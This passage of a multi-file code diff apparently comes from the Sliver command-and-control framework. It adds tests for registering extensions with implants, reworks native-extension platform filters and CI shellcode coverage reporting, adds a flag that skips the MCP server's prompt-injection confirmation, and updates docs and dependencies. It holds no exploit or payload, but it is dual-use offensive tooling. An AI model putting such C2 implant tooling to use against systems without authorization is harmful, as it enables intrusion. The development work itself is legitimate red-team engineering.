go run -buildvcs=false -mod=vendor -trimpath ./test/e2e/shellcode-report
|
||||
-input ./shellcode-input
|
||||
-output ./shellcode-summary
|
||||
|
||||
- name: Publish shellcode coverage table
|
||||
id: publish_shellcode_coverage
|
||||
if: ${{ always() }}
|
||||
run: |
|
||||
report="shellcode-summary/shellcode-coverage.md"
|
||||
if [[ ! -s "${report}" ]]; then
|
||||
printf 'Shellcode coverage report is missing or empty: %s\n' "${report}" >&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
delimiter="SHELLCODE_E2E_COVERAGE_EOF"
|
||||
if grep -Fxq "${delimiter}" "${report}"; then
|
||||
printf 'Shellcode coverage report contains the reserved output delimiter: %s\n' "${delimiter}" >&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
{
|
||||
printf 'shellcode_coverage_markdown<<%s\n' "${delimiter}"
|
||||
cat "${report}"
|
||||
printf '%s\n' "${delimiter}"
|
||||
} >> "${GITHUB_OUTPUT}"
|
||||
|
||||
cat "${report}" >> "${GITHUB_STEP_SUMMARY}"
|
||||
|
||||
- name: Upload aggregate shellcode coverage
|
||||
if: ${{ always() }}
|
||||
uses: actions/upload-artifact@v7
|
||||
with:
|
||||
name: shellcode-e2e-coverage-summary
|
||||
path: shellcode-summary
|
||||
if-no-files-found: error
|
||||
overwrite: true
|
||||
retention-days: 30
|
||||
|
||||
- name: Fail on failed or not-run shellcode coverage
|
||||
if: ${{ always() && steps.aggregate.outcome != 'success' }}
|
||||
run: exit 1
|
||||
@@ -1,10 +1,21 @@
|
||||
package extensions
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/rpcpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
"github.com/spf13/cobra"
|
||||
"google.golang.org/grpc"
|
||||
)
|
||||
|
||||
/*
|
||||
@@ -115,6 +126,25 @@ const (
|
||||
}`
|
||||
)
|
||||
|
||||
type registerExtensionTestRPC struct {
|
||||
rpcpb.SliverRPCClient
|
||||
register func(context.Context, *sliverpb.RegisterExtensionReq, ...grpc.CallOption) (*sliverpb.RegisterExtension, error)
|
||||
}
|
||||
|
||||
func (f *registerExtensionTestRPC) RegisterExtension(ctx context.Context, req *sliverpb.RegisterExtensionReq, opts ...grpc.CallOption) (*sliverpb.RegisterExtension, error) {
|
||||
return f.register(ctx, req, opts...)
|
||||
}
|
||||
|
||||
func newExtensionTestConsole(t *testing.T, rpc rpcpb.SliverRPCClient, session *clientpb.Session, beacon *clientpb.Beacon) *console.SliverClient {
|
||||
t.Helper()
|
||||
|
||||
con := console.NewConsole(false)
|
||||
con.IsCLI = true
|
||||
con.Rpc = rpc
|
||||
con.ActiveTarget.Set(session, beacon)
|
||||
return con
|
||||
}
|
||||
|
||||
func TestParseExtensionManifest(t *testing.T) {
|
||||
expectedPath := util.ResolvePath("foo/test1.dll")
|
||||
|
||||
@@ -189,6 +219,218 @@ func TestParseExtensionManifest(t *testing.T) {
|
||||
|
||||
}
|
||||
|
||||
func TestConvertOldManifestPreservesInit(t *testing.T) {
|
||||
const initExport = "InitializeExtension"
|
||||
|
||||
manifest, err := ParseExtensionManifest([]byte(`{
|
||||
"name": "legacy-test",
|
||||
"command_name": "legacy-test",
|
||||
"help": "some help",
|
||||
"init": "InitializeExtension",
|
||||
"files": [
|
||||
{
|
||||
"os": "windows",
|
||||
"arch": "amd64",
|
||||
"path": "foo/test.dll"
|
||||
}
|
||||
]
|
||||
}`))
|
||||
if err != nil {
|
||||
t.Fatalf("Error parsing legacy extension manifest: %s", err)
|
||||
}
|
||||
if len(manifest.ExtCommand) != 1 {
|
||||
t.Fatalf("Expected 1 extension command, got %d", len(manifest.ExtCommand))
|
||||
}
|
||||
if manifest.ExtCommand[0].Init != initExport {
|
||||
t.Errorf("Expected init export %q, got %q", initExport, manifest.ExtCommand[0].Init)
|
||||
}
|
||||
}
|
||||
|
||||
func TestRegisterExtensionPropagatesInit(t *testing.T) {
|
||||
const initExport = "InitializeExtension"
|
||||
|
||||
tests := []struct {
|
||||
name string
|
||||
session *clientpb.Session
|
||||
beacon *clientpb.Beacon
|
||||
wantAsync bool
|
||||
wantID string
|
||||
}{
|
||||
{
|
||||
name: "session",
|
||||
session: &clientpb.Session{ID: "session-id"},
|
||||
wantID: "session-id",
|
||||
},
|
||||
{
|
||||
name: "beacon",
|
||||
beacon: &clientpb.Beacon{ID: "beacon-id"},
|
||||
wantAsync: true,
|
||||
wantID: "beacon-id",
|
||||
},
|
||||
}
|
||||
|
||||
for _, test := range tests {
|
||||
t.Run(test.name, func(t *testing.T) {
|
||||
var gotReq *sliverpb.RegisterExtensionReq
|
||||
rpc := ®isterExtensionTestRPC{
|
||||
register: func(_ context.Context, req *sliverpb.RegisterExtensionReq, _ ...grpc.CallOption) (*sliverpb.RegisterExtension, error) {
|
||||
gotReq = req
|
||||
return &sliverpb.RegisterExtension{Response: &commonpb.Response{}}, nil
|
||||
},
|
||||
}
|
||||
con := newExtensionTestConsole(t, rpc, test.session, test.beacon)
|
||||
|
||||
err := registerExtension("linux", &ExtCommand{CommandName: "test", Init: initExport}, []byte("extension"), nil, con)
|
||||
if err != nil {
|
||||
t.Fatalf("RegisterExtension returned an error: %s", err)
|
||||
}
|
||||
if gotReq == nil {
|
||||
t.Fatal("RegisterExtension RPC was not called")
|
||||
}
|
||||
if gotReq.Init != initExport {
|
||||
t.Errorf("Expected init export %q, got %q", initExport, gotReq.Init)
|
||||
}
|
||||
if gotReq.Request.GetAsync() != test.wantAsync {
|
||||
t.Errorf("Expected async=%t, got %t", test.wantAsync, gotReq.Request.GetAsync())
|
||||
}
|
||||
if test.wantAsync && gotReq.Request.GetBeaconID() != test.wantID {
|
||||
t.Errorf("Expected beacon ID %q, got %q", test.wantID, gotReq.Request.GetBeaconID())
|
||||
}
|
||||
if !test.wantAsync && gotReq.Request.GetSessionID() != test.wantID {
|
||||
t.Errorf("Expected session ID %q, got %q", test.wantID, gotReq.Request.GetSessionID())
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestRegisterExtensionWaitsForBeaconRegistration(t *testing.T) {
|
||||
started := make(chan struct{})
|
||||
release := make(chan struct{})
|
||||
rpc := ®isterExtensionTestRPC{
|
||||
register: func(_ context.Context, _ *sliverpb.RegisterExtensionReq, _ ...grpc.CallOption) (*sliverpb.RegisterExtension, error) {
|
||||
close(started)
|
||||
<-release
|
||||
return &sliverpb.RegisterExtension{Response: &commonpb.Response{Async: true}}, nil
|
||||
},
|
||||
}
|
||||
con := newExtensionTestConsole(t, rpc, nil, &clientpb.Beacon{ID: "beacon-id"})
|
||||
done := make(chan error, 1)
|
||||
go func() {
|
||||
done <- registerExtension("linux", &ExtCommand{CommandName: "test"}, []byte("extension"), nil, con)
|
||||
}()
|
||||
|
||||
select {
|
||||
case <-started:
|
||||
case <-time.After(time.Second):
|
||||
t.Fatal("Timed out waiting for RegisterExtension RPC")
|
||||
}
|
||||
select {
|
||||
case err := <-done:
|
||||
t.Fatalf("RegisterExtension returned before the beacon registration was enqueued: %v", err)
|
||||
case <-time.After(100 * time.Millisecond):
|
||||
}
|
||||
close(release)
|
||||
select {
|
||||
case err := <-done:
|
||||
if err != nil {
|
||||
t.Fatalf("RegisterExtension returned an error: %s", err)
|
||||
}
|
||||
case <-time.After(time.Second):
|
||||
t.Fatal("Timed out waiting for RegisterExtension to return")
|
||||
}
|
||||
}
|
||||
|
||||
func TestRegisterExtensionReturnsBeaconRPCError(t *testing.T) {
|
||||
wantErr := errors.New("register failed")
|
||||
rpc := ®isterExtensionTestRPC{
|
||||
register: func(_ context.Context, _ *sliverpb.RegisterExtensionReq, _ ...grpc.CallOption) (*sliverpb.RegisterExtension, error) {
|
||||
return nil, wantErr
|
||||
},
|
||||
}
|
||||
con := newExtensionTestConsole(t, rpc, nil, &clientpb.Beacon{ID: "beacon-id"})
|
||||
|
||||
err := registerExtension("linux", &ExtCommand{CommandName: "test"}, []byte("extension"), nil, con)
|
||||
if !errors.Is(err, wantErr) {
|
||||
t.Fatalf("Expected error %q, got %v", wantErr, err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestRegisterExtensionRejectsNilResponse(t *testing.T) {
|
||||
rpc := ®isterExtensionTestRPC{
|
||||
register: func(_ context.Context, _ *sliverpb.RegisterExtensionReq, _ ...grpc.CallOption) (*sliverpb.RegisterExtension, error) {
|
||||
return nil, nil
|
||||
},
|
||||
}
|
||||
con := newExtensionTestConsole(t, rpc, &clientpb.Session{ID: "session-id"}, nil)
|
||||
|
||||
if err := registerExtension("linux", &ExtCommand{CommandName: "test"}, []byte("extension"), nil, con); err == nil {
|
||||
t.Fatal("RegisterExtension accepted a nil response")
|
||||
}
|
||||
}
|
||||
|
||||
func TestExtensionCommandVisibilityUsesExactTargetPairs(t *testing.T) {
|
||||
extension := &ExtCommand{Files: []*extensionFile{
|
||||
{OS: "windows", Arch: "amd64"},
|
||||
{OS: "linux", Arch: "amd64"},
|
||||
{OS: "darwin", Arch: "arm64"},
|
||||
}}
|
||||
|
||||
tests := []struct {
|
||||
name string
|
||||
session *clientpb.Session
|
||||
beacon *clientpb.Beacon
|
||||
wantVisible bool
|
||||
}{
|
||||
{
|
||||
name: "cross-platform Linux session",
|
||||
session: &clientpb.Session{OS: "linux", Arch: "amd64"},
|
||||
wantVisible: true,
|
||||
},
|
||||
{
|
||||
name: "cross-platform macOS beacon",
|
||||
beacon: &clientpb.Beacon{OS: "darwin", Arch: "arm64"},
|
||||
wantVisible: true,
|
||||
},
|
||||
{
|
||||
name: "cross-platform Windows session",
|
||||
session: &clientpb.Session{OS: "windows", Arch: "amd64"},
|
||||
wantVisible: true,
|
||||
},
|
||||
{
|
||||
name: "Linux architecture mismatch",
|
||||
session: &clientpb.Session{OS: "linux", Arch: "arm64"},
|
||||
wantVisible: false,
|
||||
},
|
||||
{
|
||||
name: "macOS architecture mismatch",
|
||||
beacon: &clientpb.Beacon{OS: "darwin", Arch: "amd64"},
|
||||
wantVisible: false,
|
||||
},
|
||||
{
|
||||
name: "Windows architecture mismatch",
|
||||
session: &clientpb.Session{OS: "windows", Arch: "386"},
|
||||
wantVisible: false,
|
||||
},
|
||||
{
|
||||
name: "unsupported native extension target",
|
||||
beacon: &clientpb.Beacon{OS: "linux", Arch: "riscv64"},
|
||||
wantVisible: false,
|
||||
},
|
||||
}
|
||||
|
||||
for _, test := range tests {
|
||||
t.Run(test.name, func(t *testing.T) {
|
||||
con := newExtensionTestConsole(t, nil, test.session, test.beacon)
|
||||
command := &cobra.Command{Annotations: makeCommandPlatformFilters(extension)}
|
||||
activeFilters := con.App.Menu(consts.ImplantMenu).ActiveFiltersFor(command)
|
||||
visible := len(activeFilters) == 0
|
||||
if visible != test.wantVisible {
|
||||
t.Fatalf("command visibility = %t, want %t (active filters: %v)", visible, test.wantVisible, activeFilters)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestParseMultipleCmdManifest(t *testing.T) {
|
||||
expectedPath := util.ResolvePath("ex.dll")
|
||||
|
||||
|
||||
@@ -221,6 +221,7 @@ func convertOldManifest(old *ExtensionManifest_) *ExtensionManifest {
|
||||
Help: old.Help,
|
||||
LongHelp: old.LongHelp,
|
||||
Entrypoint: old.Entrypoint,
|
||||
Init: old.Init,
|
||||
Files: old.Files,
|
||||
Arguments: old.Arguments,
|
||||
Schema: nil,
|
||||
@@ -471,44 +472,30 @@ func registerExtension(goos string, ext *ExtCommand, binData []byte, cmd *cobra.
|
||||
//set extension name to a hash of the data to avoid loading more than one instance
|
||||
bd := sha256.Sum256(binData)
|
||||
name := hex.EncodeToString(bd[:])
|
||||
sess, beac := con.ActiveTarget.GetInteractive()
|
||||
sess, _ := con.ActiveTarget.GetInteractive()
|
||||
ctrl := make(chan bool)
|
||||
//first time run of an extension will require some waiting depending on the size
|
||||
if sess != nil {
|
||||
msg := fmt.Sprintf("Sending %s to implant ...", ext.CommandName)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
}
|
||||
//don't block if we are in beacon mode
|
||||
if beac != nil && sess == nil {
|
||||
go func() {
|
||||
registerResp, err := con.Rpc.RegisterExtension(context.Background(), &sliverpb.RegisterExtensionReq{
|
||||
Name: name,
|
||||
Data: binData,
|
||||
OS: goos,
|
||||
Init: ext.Init,
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error registering extension: %s\n", err)
|
||||
}
|
||||
if registerResp.Response != nil && registerResp.Response.Err != "" {
|
||||
con.PrintErrorf("Error registering extension: %s\n", errors.New(registerResp.Response.Err))
|
||||
}
|
||||
}()
|
||||
return nil
|
||||
}
|
||||
//session mode (hopefully)
|
||||
registerResp, err := con.Rpc.RegisterExtension(context.Background(), &sliverpb.RegisterExtensionReq{
|
||||
Name: name,
|
||||
Data: binData,
|
||||
OS: goos,
|
||||
Init: ext.Init,
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
if sess != nil {
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
}
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if registerResp == nil {
|
||||
return errors.New("received empty register extension response")
|
||||
}
|
||||
if registerResp.Response != nil && registerResp.Response.Err != "" {
|
||||
return errors.New(registerResp.Response.Err)
|
||||
}
|
||||
@@ -865,37 +852,22 @@ func makeExtensionFlagNameCompletion(extCmd *ExtCommand) carapace.Action {
|
||||
}
|
||||
|
||||
func makeCommandPlatformFilters(extCmd *ExtCommand) map[string]string {
|
||||
filtersOS := make(map[string]bool)
|
||||
filtersArch := make(map[string]bool)
|
||||
|
||||
var all []string
|
||||
|
||||
// Only add filters for architectures when there OS matters.
|
||||
supportedTargets := make(map[string]struct{}, len(extCmd.Files))
|
||||
for _, file := range extCmd.Files {
|
||||
filtersOS[file.OS] = true
|
||||
|
||||
if filtersOS[file.OS] {
|
||||
filtersArch[file.Arch] = true
|
||||
}
|
||||
supportedTargets[file.OS+"/"+file.Arch] = struct{}{}
|
||||
}
|
||||
|
||||
for os, enabled := range filtersOS {
|
||||
if enabled {
|
||||
all = append(all, os)
|
||||
// Console command filters are hide-on-match, so annotate the command with
|
||||
// every exact target pair it does not support. A separate fallback hides all
|
||||
// native extensions on target pairs outside the supported loader matrix.
|
||||
filters := []string{consts.NativeExtensionUnsupportedTargetFilter}
|
||||
for _, target := range consts.NativeExtensionTargets() {
|
||||
if _, supported := supportedTargets[target.GOOS+"/"+target.GOARCH]; !supported {
|
||||
filters = append(filters, target.Filter)
|
||||
}
|
||||
}
|
||||
|
||||
for arch, enabled := range filtersArch {
|
||||
if enabled {
|
||||
all = append(all, arch)
|
||||
}
|
||||
}
|
||||
|
||||
if len(all) == 0 {
|
||||
return map[string]string{}
|
||||
}
|
||||
|
||||
return map[string]string{
|
||||
appConsole.CommandFilterKey: strings.Join(all, ","),
|
||||
appConsole.CommandFilterKey: strings.Join(filters, ","),
|
||||
}
|
||||
}
|
||||
@@ -87,6 +87,7 @@ var (
|
||||
"linux/arm64": true,
|
||||
"windows/386": true,
|
||||
"windows/amd64": true,
|
||||
"windows/arm64": true,
|
||||
}
|
||||
|
||||
ErrNoExternalBuilder = errors.New("no external builders are available")
|
||||
|
||||
@@ -38,6 +38,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
f.String("listen", defaultConfig.ListenAddress, "listen address for the MCP server")
|
||||
f.String("name", defaultConfig.ServerName, "server name for MCP initialize")
|
||||
f.String("version", defaultConfig.ServerVersion, "server version for MCP initialize")
|
||||
f.BoolP("yes", "y", false, "skip the prompt-injection confirmation (broken or non-interactive terminals)")
|
||||
})
|
||||
flags.BindFlagCompletions(startCmd, func(comp *carapace.ActionMap) {
|
||||
(*comp)["transport"] = carapace.ActionValues("http", "sse")
|
||||
|
||||
@@ -32,6 +32,9 @@ func McpCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
if status.AuthToken != "" {
|
||||
con.Printf("Auth Token: %s\n", status.AuthToken)
|
||||
}
|
||||
if status.AuthConfigPath != "" {
|
||||
con.Printf("Auth Config: %s\n", status.AuthConfigPath)
|
||||
}
|
||||
|
||||
if status.Running && !status.StartedAt.IsZero() {
|
||||
uptime := time.Since(status.StartedAt).Truncate(time.Second)
|
||||
|
||||
@@ -28,8 +28,10 @@ func McpStartCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
}.WithDefaults()
|
||||
|
||||
msg := `Do you know what prompt injection is and are you an adult?`
|
||||
if !settings.IsUserAnAdultWithPrompt(con, msg) {
|
||||
skipConfirm, _ := cmd.Flags().GetBool("yes")
|
||||
if !skipConfirm && !settings.IsUserAnAdultWithPrompt(con, msg) {
|
||||
con.PrintErrorf("Failed to start MCP server, the user is not qualified to use feature\n")
|
||||
con.PrintInfof("Use --yes to skip the confirmation prompt, or toggle it with 'settings autoadult'\n")
|
||||
return
|
||||
}
|
||||
|
||||
@@ -50,4 +52,7 @@ func McpStartCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
if status.AuthToken != "" {
|
||||
con.PrintInfof("Auth Token: %s\n", status.AuthToken)
|
||||
}
|
||||
if status.AuthConfigPath != "" {
|
||||
con.PrintInfof("Auth Config: %s\n", status.AuthConfigPath)
|
||||
}
|
||||
}
|
||||
@@ -50,7 +50,12 @@ func IsUserAnAdultWithPrompt(con *console.SliverClient, prompt string) bool {
|
||||
return true
|
||||
}
|
||||
confirm := false
|
||||
_ = forms.Confirm(prompt, &confirm)
|
||||
if err := forms.Confirm(prompt, &confirm); err != nil {
|
||||
// The interactive form is known to fail on some terminals (#2133);
|
||||
// surface the error instead of silently treating it as a rejection.
|
||||
con.PrintErrorf("Confirmation prompt failed: %s\n", err)
|
||||
return false
|
||||
}
|
||||
return confirm
|
||||
}
|
||||
|
||||
|
||||
@@ -1147,6 +1147,7 @@ func (con *SliverClient) ExposeCommands() {
|
||||
case con.ActiveTarget.session != nil:
|
||||
session := con.ActiveTarget.session
|
||||
filters = append(filters, consts.BeaconCmdsFilter)
|
||||
filters = append(filters, consts.NativeExtensionTargetFilter(session.OS, session.Arch))
|
||||
|
||||
// Operating system
|
||||
if session.OS != "windows" {
|
||||
@@ -1161,6 +1162,7 @@ func (con *SliverClient) ExposeCommands() {
|
||||
case con.ActiveTarget.beacon != nil:
|
||||
beacon := con.ActiveTarget.beacon
|
||||
filters = append(filters, consts.SessionCmdsFilter)
|
||||
filters = append(filters, consts.NativeExtensionTargetFilter(beacon.OS, beacon.Arch))
|
||||
|
||||
// Operating system
|
||||
if beacon.OS != "windows" {
|
||||
|
||||
@@ -363,8 +363,53 @@ const (
|
||||
BeaconCmdsFilter = "beacon"
|
||||
WindowsCmdsFilter = "windows"
|
||||
WireguardCmdsFilter = "wireguard"
|
||||
|
||||
NativeExtensionUnsupportedTargetFilter = "native-extension:unsupported"
|
||||
NativeExtensionDarwinAMD64Filter = "native-extension:darwin/amd64"
|
||||
NativeExtensionDarwinARM64Filter = "native-extension:darwin/arm64"
|
||||
NativeExtensionLinux386Filter = "native-extension:linux/386"
|
||||
NativeExtensionLinuxAMD64Filter = "native-extension:linux/amd64"
|
||||
NativeExtensionLinuxARM64Filter = "native-extension:linux/arm64"
|
||||
NativeExtensionWindows386Filter = "native-extension:windows/386"
|
||||
NativeExtensionWindowsAMD64Filter = "native-extension:windows/amd64"
|
||||
NativeExtensionWindowsARM64Filter = "native-extension:windows/arm64"
|
||||
)
|
||||
|
||||
// NativeExtensionTarget identifies a GOOS/GOARCH pair supported by native
|
||||
// implant extensions and the command filter associated with that exact pair.
|
||||
type NativeExtensionTarget struct {
|
||||
GOOS string
|
||||
GOARCH string
|
||||
Filter string
|
||||
}
|
||||
|
||||
var nativeExtensionTargets = [8]NativeExtensionTarget{
|
||||
{GOOS: "darwin", GOARCH: "amd64", Filter: NativeExtensionDarwinAMD64Filter},
|
||||
{GOOS: "darwin", GOARCH: "arm64", Filter: NativeExtensionDarwinARM64Filter},
|
||||
{GOOS: "linux", GOARCH: "386", Filter: NativeExtensionLinux386Filter},
|
||||
{GOOS: "linux", GOARCH: "amd64", Filter: NativeExtensionLinuxAMD64Filter},
|
||||
{GOOS: "linux", GOARCH: "arm64", Filter: NativeExtensionLinuxARM64Filter},
|
||||
{GOOS: "windows", GOARCH: "386", Filter: NativeExtensionWindows386Filter},
|
||||
{GOOS: "windows", GOARCH: "amd64", Filter: NativeExtensionWindowsAMD64Filter},
|
||||
{GOOS: "windows", GOARCH: "arm64", Filter: NativeExtensionWindowsARM64Filter},
|
||||
}
|
||||
|
||||
// NativeExtensionTargets returns the supported native extension target matrix.
|
||||
func NativeExtensionTargets() [8]NativeExtensionTarget {
|
||||
return nativeExtensionTargets
|
||||
}
|
||||
|
||||
// NativeExtensionTargetFilter returns the filter for an exact supported target.
|
||||
// Unsupported pairs share a filter that hides all native extension commands.
|
||||
func NativeExtensionTargetFilter(goos string, goarch string) string {
|
||||
for _, target := range nativeExtensionTargets {
|
||||
if target.GOOS == goos && target.GOARCH == goarch {
|
||||
return target.Filter
|
||||
}
|
||||
}
|
||||
return NativeExtensionUnsupportedTargetFilter
|
||||
}
|
||||
|
||||
// Creds (needed here to avoid recursive imports).
|
||||
const (
|
||||
UserColonHashNewlineFormat = "user:hash" // username:hash\n
|
||||
|
||||
Generated
+14
-14
@@ -22,7 +22,7 @@
|
||||
"asciinema-player": "^3.15.1",
|
||||
"fuse.js": "^7.3.0",
|
||||
"lunr": "^2.3.9",
|
||||
"mermaid": "^11.15.0",
|
||||
"mermaid": "^11.16.1",
|
||||
"next": "^16.2.6",
|
||||
"next-themes": "^0.4.6",
|
||||
"react": "^19.2.5",
|
||||
@@ -1498,12 +1498,12 @@
|
||||
}
|
||||
},
|
||||
"node_modules/@mermaid-js/parser": {
|
||||
"version": "1.1.1",
|
||||
"resolved": "https://registry.npmjs.org/@mermaid-js/parser/-/parser-1.1.1.tgz",
|
||||
"integrity": "sha512-VuHdsYMK1bT6X2JbcAaWAhugTRvRBRyuZgd+c22swUeI9g/ntaxF7CY7dYarhZovofCbUNO0G7JesfmNtjYOCw==",
|
||||
"version": "1.2.0",
|
||||
"resolved": "https://registry.npmjs.org/@mermaid-js/parser/-/parser-1.2.0.tgz",
|
||||
"integrity": "sha512-oYPyv8A4As1yH5Bx+04iQEQxXuIQDe0GKCNSRgao6z8AM9jixXIfP0vsppRLvGf+nKIOb9/LdpWA4YuJiVvESA==",
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"@chevrotain/types": "~11.1.1"
|
||||
"@chevrotain/types": "~11.1.2"
|
||||
}
|
||||
},
|
||||
"node_modules/@monaco-editor/loader": {
|
||||
@@ -7707,26 +7707,26 @@
|
||||
}
|
||||
},
|
||||
"node_modules/mermaid": {
|
||||
"version": "11.15.0",
|
||||
"resolved": "https://registry.npmjs.org/mermaid/-/mermaid-11.15.0.tgz",
|
||||
"integrity": "sha512-pTMbcf3rWdtLiYGpmoTjHEpeY8seiy6sR+9nD7LOs8KfUbHE4lOUAprTRqRAcWSQ6MQpdX+YEsxShtGsINtPtw==",
|
||||
"version": "11.16.1",
|
||||
"resolved": "https://registry.npmjs.org/mermaid/-/mermaid-11.16.1.tgz",
|
||||
"integrity": "sha512-TQsq6u22fAn3rek5VOubrhKPo1g5hwC3FXUN9hiyupTckcYiGuuKGkNQrKYwGJkXUxZdojwRG46gsSCFZMDp4g==",
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"@braintree/sanitize-url": "^7.1.1",
|
||||
"@braintree/sanitize-url": "^7.1.2",
|
||||
"@iconify/utils": "^3.0.2",
|
||||
"@mermaid-js/parser": "^1.1.1",
|
||||
"@mermaid-js/parser": "^1.2.0",
|
||||
"@types/d3": "^7.4.3",
|
||||
"@upsetjs/venn.js": "^2.0.0",
|
||||
"cytoscape": "^3.33.1",
|
||||
"cytoscape": "^3.33.3",
|
||||
"cytoscape-cose-bilkent": "^4.1.0",
|
||||
"cytoscape-fcose": "^2.2.0",
|
||||
"d3": "^7.9.0",
|
||||
"d3-sankey": "^0.12.3",
|
||||
"dagre-d3-es": "7.0.14",
|
||||
"dayjs": "^1.11.19",
|
||||
"dompurify": "^3.3.1",
|
||||
"dayjs": "^1.11.20",
|
||||
"dompurify": "^3.3.3",
|
||||
"es-toolkit": "^1.45.1",
|
||||
"katex": "^0.16.25",
|
||||
"katex": "^0.16.45",
|
||||
"khroma": "^2.1.0",
|
||||
"marked": "^16.3.0",
|
||||
"roughjs": "^4.6.6",
|
||||
|
||||
@@ -26,7 +26,7 @@
|
||||
"asciinema-player": "^3.15.1",
|
||||
"fuse.js": "^7.3.0",
|
||||
"lunr": "^2.3.9",
|
||||
"mermaid": "^11.15.0",
|
||||
"mermaid": "^11.16.1",
|
||||
"next": "^16.2.6",
|
||||
"next-themes": "^0.4.6",
|
||||
"react": "^19.2.5",
|
||||
|
||||
@@ -168,6 +168,8 @@ As the alias support relies on Sliver side loading capabilities, please make sur
|
||||
|
||||
## Extensions
|
||||
|
||||
⚠️ Extensions are currently only supported when using Windows implants, though we're actively working on MacOS/Linux support.
|
||||
Native extensions are supported by Windows implants (`386`, `amd64`, and `arm64`), Linux implants (`386`, `amd64`, and `arm64`), and macOS implants (`amd64` and `arm64`). Each manifest must include a platform-native shared library for every target it supports: `.dll` on Windows, `.so` on Linux, and `.dylib` on macOS.
|
||||
|
||||
Extensions are similar in structure to an alias, but internally work differently. An extension is an artifact of native code that is reflectively loaded by the implant and passed certain callbacks. These callbacks allow the extension to return data to the C2 server. Extensions may also have dependencies (other extensions), which Sliver will load prior to the extension; circular dependencies are not allowed. For example, all BOF extensions (`.o` files) rely on the COFF Loader extension (a `.dll`).
|
||||
|
||||
Native exports use the same Sliver extension ABI on every supported operating system. The export receives the argument buffer, its size, and a callback used to return output. The optional `init` export in the extension manifest is called once after the library is loaded and before any command export is invoked.
|
||||
+31
-8
@@ -125,19 +125,29 @@ run_test_cmd() {
|
||||
should_skip_package() {
|
||||
local pkg="$1"
|
||||
local tags="${2:-}"
|
||||
local go_list_cmd=(go list -e -f '{{if .Error}}{{.Error}}{{end}}')
|
||||
if [ -n "$tags" ]; then
|
||||
go_list_cmd+=("-tags=$tags")
|
||||
fi
|
||||
go_list_cmd+=("$pkg")
|
||||
|
||||
local go_list_error
|
||||
go_list_error="$("${go_list_cmd[@]}" 2>/dev/null || true)"
|
||||
local test_file_counts
|
||||
if [ -n "$tags" ]; then
|
||||
go_list_error="$(go list -e -f '{{if .Error}}{{.Error}}{{end}}' "-tags=$tags" "$pkg" 2>/dev/null || true)"
|
||||
test_file_counts="$(go list -e -f '{{len .TestGoFiles}} {{len .XTestGoFiles}}' "-tags=$tags" "$pkg" 2>/dev/null || true)"
|
||||
else
|
||||
go_list_error="$(go list -e -f '{{if .Error}}{{.Error}}{{end}}' "$pkg" 2>/dev/null || true)"
|
||||
test_file_counts="$(go list -e -f '{{len .TestGoFiles}} {{len .XTestGoFiles}}' "$pkg" 2>/dev/null || true)"
|
||||
fi
|
||||
if [[ "$go_list_error" == *"build constraints exclude all Go files"* ]]; then
|
||||
echo
|
||||
echo "==> Skipping $pkg (unsupported on current platform)"
|
||||
return 0
|
||||
fi
|
||||
|
||||
# File discovery intentionally sees tests for every OS. Avoid forcing a
|
||||
# package build when all of its tests are excluded by the current target's
|
||||
# build constraints; those tests remain discoverable on their target OS.
|
||||
if [ "$test_file_counts" = "0 0" ]; then
|
||||
echo
|
||||
echo "==> Skipping $pkg (no tests for current platform)"
|
||||
return 0
|
||||
fi
|
||||
return 1
|
||||
}
|
||||
|
||||
@@ -145,7 +155,7 @@ collect_test_dirs() {
|
||||
if command -v rg >/dev/null 2>&1; then
|
||||
rg --files -g '*_test.go'
|
||||
else
|
||||
find client implant server util -type f -name '*_test.go' -print
|
||||
find client implant server test util -type f -name '*_test.go' -print
|
||||
fi
|
||||
}
|
||||
|
||||
@@ -169,6 +179,7 @@ done < <(collect_test_dirs | xargs -n1 dirname | sort -u)
|
||||
CLIENT_TEST_PKGS=()
|
||||
IMPLANT_TEST_PKGS=()
|
||||
SERVER_UTIL_TEST_PKGS=()
|
||||
E2E_SUPPORT_TEST_PKGS=()
|
||||
|
||||
for test_dir in "${TEST_DIRS[@]}"; do
|
||||
pkg="./$test_dir"
|
||||
@@ -185,6 +196,9 @@ for test_dir in "${TEST_DIRS[@]}"; do
|
||||
./server/* | ./util*)
|
||||
SERVER_UTIL_TEST_PKGS+=("$pkg")
|
||||
;;
|
||||
./test/e2e | ./test/e2e/*)
|
||||
E2E_SUPPORT_TEST_PKGS+=("$pkg")
|
||||
;;
|
||||
esac
|
||||
done
|
||||
|
||||
@@ -196,6 +210,15 @@ for pkg in "${CLIENT_TEST_PKGS[@]}"; do
|
||||
run_test_cmd "$pkg" go test -tags="client,$TAGS" "$pkg" || exit 1
|
||||
done
|
||||
|
||||
## Comprehensive E2E support packages. The top-level lifecycle test skips
|
||||
## unless a server binary is supplied; coverage/report unit tests run here.
|
||||
for pkg in "${E2E_SUPPORT_TEST_PKGS[@]}"; do
|
||||
if should_skip_package "$pkg" "client,$TAGS"; then
|
||||
continue
|
||||
fi
|
||||
run_test_cmd "$pkg" go test -tags="client,$TAGS" "$pkg" || exit 1
